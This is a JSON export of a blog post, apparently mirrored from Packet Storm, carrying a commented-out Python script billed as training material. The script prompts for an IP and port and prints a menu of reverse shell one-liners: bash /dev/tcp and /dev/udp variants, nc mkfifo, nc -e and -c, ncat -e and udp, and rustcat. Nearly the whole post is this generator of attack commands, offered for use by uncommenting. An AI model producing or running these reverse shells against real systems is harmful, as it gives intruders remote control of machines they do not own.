{"id":26532,"date":"2022-07-04T19:28:33","date_gmt":"2022-07-04T15:28:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167690\/bashnetcat-reverse.txt"},"modified":"2022-07-11T14:43:33","modified_gmt":"2022-07-11T10:13:33","slug":"bash-netcat-reverse-shells","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/bash-netcat-reverse-shells\/","title":{"rendered":"Bash \/ Netcat Reverse Shells"},"content":{"rendered":"<p dir=\"ltr\"># Author : Raed Ahsan<br \/>\n# Creation Date : 02\/07\/2022<br \/>\n# Title : Reverse_shells offline creation.<br \/>\n# R-Security training files<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">I have merged two or more kinds of rev.shells in this single file<br \/>\nexample = bash and netcat. Please do uncomment the code for each category<br \/>\nyou intend to use.<br \/>\nThank you<br \/>\nR-Security<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">##########################################################<br \/>\n################# Bash category ##########################<br \/>\n##########################################################<\/p>\n<p dir=\"ltr\"># print(&#8220;1 &#8211; Bash-i\\n2 &#8211; Bash 196\\n3 &#8211; Bash readline\\n4 &#8211; Bash5\\n5 &#8211; Bash udp&#8221;)<br \/>\n# selection = int(input(&#8220;Enter number:[1 to 5]: &#8220;))<br \/>\n# ip = &#8220;&#8221;<br \/>\n# port = 0<\/p>\n<p dir=\"ltr\"># def bash_i():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter IP address: &#8220;)<br \/>\n# port = input(&#8220;Enter Port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell created: sh -i &gt;&amp; \/dev\/tcp\/{}\/{} 0&gt;&amp;1&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def bash_196():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter IP address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell created: 0&lt;&amp;196;exec 196&lt;&gt;\/dev\/tcp\/{}\/{}; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def bash_readline():<br \/>\n# ip = input(&#8220;Enter IP address: &#8220;)<br \/>\n# port = input(&#8220;Enter Port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell created: exec 5&lt;&gt;\/dev\/tcp\/{}\/{};cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def bash_5():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter IP address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell created: sh -i 5&lt;&gt; \/dev\/tcp\/{}\/{} 0&lt;&amp;5 1&gt;&amp;5 2&gt;&amp;5&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def bash_udp():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter IP address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell created: sh -i &gt;&amp; \/dev\/udp\/{}\/{} 0&gt;&amp;1&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># # Finalizing selection of the user;<\/p>\n<p dir=\"ltr\"># if [1,2,3,4,5]:<br \/>\n# if selection == 1:<br \/>\n# bash_i()<br \/>\n# if selection == 2:<br \/>\n# bash_196()<br \/>\n# if selection == 3:<br \/>\n# bash_readline()<br \/>\n# if selection == 4:<br \/>\n# bash_5()<br \/>\n# if selection == 5:<br \/>\n# bash_udp()<\/p>\n<p dir=\"ltr\">#################################################################<br \/>\n############### Netcat Category #################################<br \/>\n#################################################################<\/p>\n<p dir=\"ltr\"># print(&#8220;1 &#8211; nc mkfifo\\n2 &#8211; nc-e\\n3 &#8211; nc.exe -e\\n4 &#8211; nc-c\\n5 &#8211; ncat-e\\n6 &#8211; ncat.exe-e\\n7 &#8211; ncat udp\\n8 &#8211; rustcat&#8221;)<br \/>\n# selection = int(input(&#8220;Enter rev.shell number[1-5]: &#8220;))<br \/>\n# ip = &#8220;&#8221;<br \/>\n# port = 0<\/p>\n<p dir=\"ltr\"># def nc_mkfifo():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|nc {} {} &gt;\/tmp\/f&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def nc_e():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : nc -e sh {} {} &#8220;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def nc_exe_e():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : nc.exe -e sh {} {} &#8220;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def nc_c():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : nc -c sh {} {}&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def ncat_e():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : ncat {} {} -e sh&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def ncat_exe_e():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : ncat.exe {} {} -e sh&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def ncat_udp():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|ncat -u {} {} &gt;\/tmp\/f&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># def rustcat():<br \/>\n# global ip, port<br \/>\n# ip = input(&#8220;Enter ip address: &#8220;)<br \/>\n# port = input(&#8220;Enter port: &#8220;)<br \/>\n# print(&#8220;[*] Reverse shell : rcat {} {} -r sh&#8221;.format(ip, port))<\/p>\n<p dir=\"ltr\"># if [1,2,3,4,5,6,7,8]:<br \/>\n# if selection == 1:<br \/>\n# nc_mkfifo()<br \/>\n# if selection == 2:<br \/>\n# nc_e()<br \/>\n# if selection == 3:<br \/>\n# nc_exe_e()<br \/>\n# if selection == 4:<br \/>\n# nc_c()<br \/>\n# if selection == 5:<br \/>\n# ncat_e()<br \/>\n# if selection == 6:<br \/>\n# ncat_exe_e()<br \/>\n# if selection == 7:<br \/>\n# ncat_udp()<br \/>\n# if selection == 8:<br \/>\n# rustcat()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Author : Raed Ahsan # Creation Date : 02\/07\/2022 # Title : Reverse_shells offline creation. # R-Security training files &#8220;&#8221;&#8221; I have merged two or more kinds of rev.shells in this single file example = bash and netcat. Please do uncomment the code for each category you intend to use. Thank you R-Security &#8220;&#8221;&#8221; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26532","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26532"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26532\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}